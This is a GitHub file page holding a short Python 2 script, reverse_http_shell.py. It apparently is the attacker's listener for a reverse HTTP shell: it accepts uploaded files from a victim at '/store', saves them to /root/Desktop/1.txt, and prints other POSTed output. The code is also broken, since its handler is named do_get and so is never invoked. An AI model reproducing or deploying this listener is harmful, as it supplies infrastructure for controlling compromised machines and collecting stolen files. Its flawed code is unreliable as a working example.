-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathreverse_http_shell.py
More file actions
39 lines (34 loc) · 1.25 KB
/
reverse_http_shell.py
File metadata and controls
39 lines (34 loc) · 1.25 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import BaseHTTPServer
import os, cgi
HOST_NAME = '{INSERT HOST NAME}'
PORT_NUMBER = 80
class myHandler(BaseHTTPServer.BaseHTTPRequestHandler):
def do_get(s):
if s.path == '/store':
try:
ctype, pdict = cgi.parse_header(s.headers.getheader('content-type'))
if ctype == 'multipart/form-data':
fs = cgi.FieldStorage(fp=s.rfile, headers = s.headers, environ={'REQUEST_METHOD': 'POST'})
else:
print("[-] Unexpected POST Request")
fs_up = fs['file']
with open('/root/Desktop/1.txt', 'wb') as o:
o.write(fs_up.file.read())
s.send_response(200)
s.end_headers()
except Exception as e:
print(e)
return
s.send_response(200)
s.end_headers()
length = int(s.headers['Content-Length'])
postVar = s.rfile.read(length)
print(postVar)
if __name__ == '__main__':
server_class = BaseHTTPServer.HTTPServer
httpd = server_class((HOST_NAME, PORT_NUMBER), myHandler)
try:
httpd.serve_forever()
except KeyboardInterrupt:
print('[!] Server Terminated')
httpd.server_close()